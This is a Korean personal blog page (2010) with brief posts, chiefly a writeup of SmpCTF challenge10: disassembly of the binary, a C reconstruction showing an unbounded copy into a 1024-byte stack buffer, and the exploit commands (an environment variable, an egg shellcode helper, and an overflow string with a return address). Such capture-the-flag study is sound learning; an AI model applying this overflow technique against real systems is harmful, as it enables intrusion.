시연용 좀비였고 왜 퍼지는지 모르겠지만

의도적으로 퍼뜨리지 맙시다 ㅡㅡ


============================================*==============================================

좀비는 버리고 서브도메인 이전...ㅋㅋ
이젠 안달라 붙겠지 ㄱ-

원래 서브도메인은 블랙리스트 등록되었다는데...

'하루하루 숨쉬는 이야기' 카테고리의 다른 글

Hypervisor를 이용한 메모리 보호  (0) 2014.05.27
재밌는 글  (3) 2010.04.07
DirectX 프로그래밍...  (0) 2010.03.28
Delphi ...ㅋ_ㅋ  (0) 2010.01.18
...  (0) 2010.01.05
Posted by redbit
REVERSING2010. 7. 28. 16:13
아이폰에서 뜨고있다길래... 아이폰 없는 사람으로서 PC버젼으로 구해서 플레이하던중...

포함되어있던 트레일러가 작동을 안할것같이 생겼다... 게다가 관리자 권한을 달라고하길래...

직접 만들어버렸음 - _-v

참고로 한국사람이기 때문에 문법이라든지 맞춤법 등등이 틀릴수 있음 - _-;;

게임을 시작시킨후에 run을하면 다음과같은 화면으로 변경... 단축키를 이용해 사용 


아무곳이나 지을수도 있다 - _-;

그럼 즐겜 - _-ㅋ

'REVERSING' 카테고리의 다른 글

동아리 내부CTF문제 중 일부  (1) 2013.05.20
CrackMe 문제와 UnPackMe 문제!  (1) 2010.02.19
파도콘 2010 CTF 문제 풀이  (0) 2010.02.11
파도콘 2010 CTF 문제 풀이  (5) 2010.02.09
파도콘 2010 CTF 문제 풀이  (2) 2010.02.08
Posted by redbit
카테고리 없음2010. 7. 16. 22:35

SmpCTF challenge10 – writeup

redbit@redbit:~/smpCTF$ ./challenge10 'hello world'

redbit@redbit:~/smpCTF$ ./challenge10 `python -c 'print "a"*99999'`

대충 실행시켜봐도 아무런 응답이 없다 - _-; 당신 머야..

main을 들여다보면,

0x0804847d <+0>: lea 0x4(%esp),%ecx

0x08048481 <+4>: and $0xfffffff0,%esp

0x08048484 <+7>: pushl -0x4(%ecx)

0x08048487 <+10>: push %ecx

0x08048488 <+11>: sub $0x18,%esp

0x0804848b <+14>: mov %ecx,0x10(%esp)

0x0804848f <+18>: mov 0x10(%esp),%eax

0x08048493 <+22>: cmpl $0x1,(%eax)

0x08048496 <+25>: jg 0x80484bb <main+62>

0x08048498 <+27>: mov 0x10(%esp),%edx

0x0804849c <+31>: mov 0x4(%edx),%eax

0x0804849f <+34>: mov (%eax),%eax

0x080484a1 <+36>: mov %eax,0x4(%esp)

0x080484a5 <+40>: movl $0x80485b4,(%esp)

0x080484ac <+47>: call 0x8048340 <printf@plt>

0x080484b1 <+52>: movl $0x0,0x14(%esp)

0x080484b9 <+60>: jmp 0x80484d7 <main+90>

0x080484bb <+62>: mov 0x10(%esp),%edx

0x080484bf <+66>: mov 0x4(%edx),%eax

0x080484c2 <+69>: add $0x4,%eax

0x080484c5 <+72>: mov (%eax),%eax

0x080484c7 <+74>: mov %eax,(%esp)

0x080484ca <+77>: call 0x8048404 <vuln>

0x080484cf <+82>: movl $0x0,0x14(%esp)

0x080484d7 <+90>: mov 0x14(%esp),%eax

0x080484db <+94>: add $0x18,%esp

0x080484de <+97>: pop %ecx

0x080484df <+98>: lea -0x4(%ecx),%esp

0x080484e2 <+101>: ret

날 공략하시오라고 말하고 있는 함수를 호출하고 있는것을 볼 수 있다. ( 인자값으로는 argv[1]을 주고 )

저 함수를 들여다보면

0x08048404 <+0>: sub $0x41c,%esp

0x0804840a <+6>: movl $0x0,0x418(%esp)

0x08048415 <+17>: movl $0x400,0x8(%esp)

0x0804841d <+25>: movl $0x0,0x4(%esp)

0x08048425 <+33>: lea 0x18(%esp),%eax

0x08048429 <+37>: mov %eax,(%esp)

0x0804842c <+40>: call 0x8048320 <memset@plt>

0x08048431 <+45>: movl $0x80485b0,(%esp)

0x08048438 <+52>: call 0x8048310 <getenv@plt>

0x0804843d <+57>: test %eax,%eax

0x0804843f <+59>: je 0x8048476 <vuln+114>

0x08048441 <+61>: jmp 0x8048468 <vuln+100>

0x08048443 <+63>: mov 0x418(%esp),%eax

0x0804844a <+70>: mov 0x420(%esp),%edx

0x08048451 <+77>: movzbl (%edx),%edx

0x08048454 <+80>: mov %dl,0x18(%esp,%eax,1)

0x08048458 <+84>: addl $0x1,0x418(%esp)

0x08048460 <+92>: addl $0x1,0x420(%esp)

0x08048468 <+100>: mov 0x420(%esp),%eax

0x0804846f <+107>: movzbl (%eax),%eax

0x08048472 <+110>: test %al,%al

0x08048474 <+112>: jne 0x8048443 <vuln+63>

0x08048476 <+114>: add $0x41c,%esp

0x0804847c <+120>: ret

우선 getenv를 호출하는 곳을보면

0x80485b0: "SMP"

SMP라는 환경변수가 있다면 노란색으로 하이라이트되어있는 부분을 실행하게되는데,

적당히 인간이 알아먹을수 있는 c로 전체적인 내용을 번역하면,

void vuln( char *argv )

{

     int i = 0;

     char buf[ 0x400 ];

     memset( buf, 0, 0x400 );

     if( getenv("SMP") ){

          while( *argv ){

               buf[ i ] = *argv;

               i++;

               argv++;

          }

     }

}

위와 같은 코드가 될것이다.

코드를 충분히 숙지했으면 공격방법도 이해했을것이다.

그리고 공격을~

hax0r@able:/usr/smp/challenge10$ export SMP=?

hax0r@able:/usr/smp/challenge10$ /tmp/redbit/egg

Using address: 0xbffffc94

hax0r@able:/usr/smp/challenge10$ ./challenge10 `python -c 'print "\x03"*1025+"\x94\xfc\xff\xbf"'`

Clear!

Posted by redbit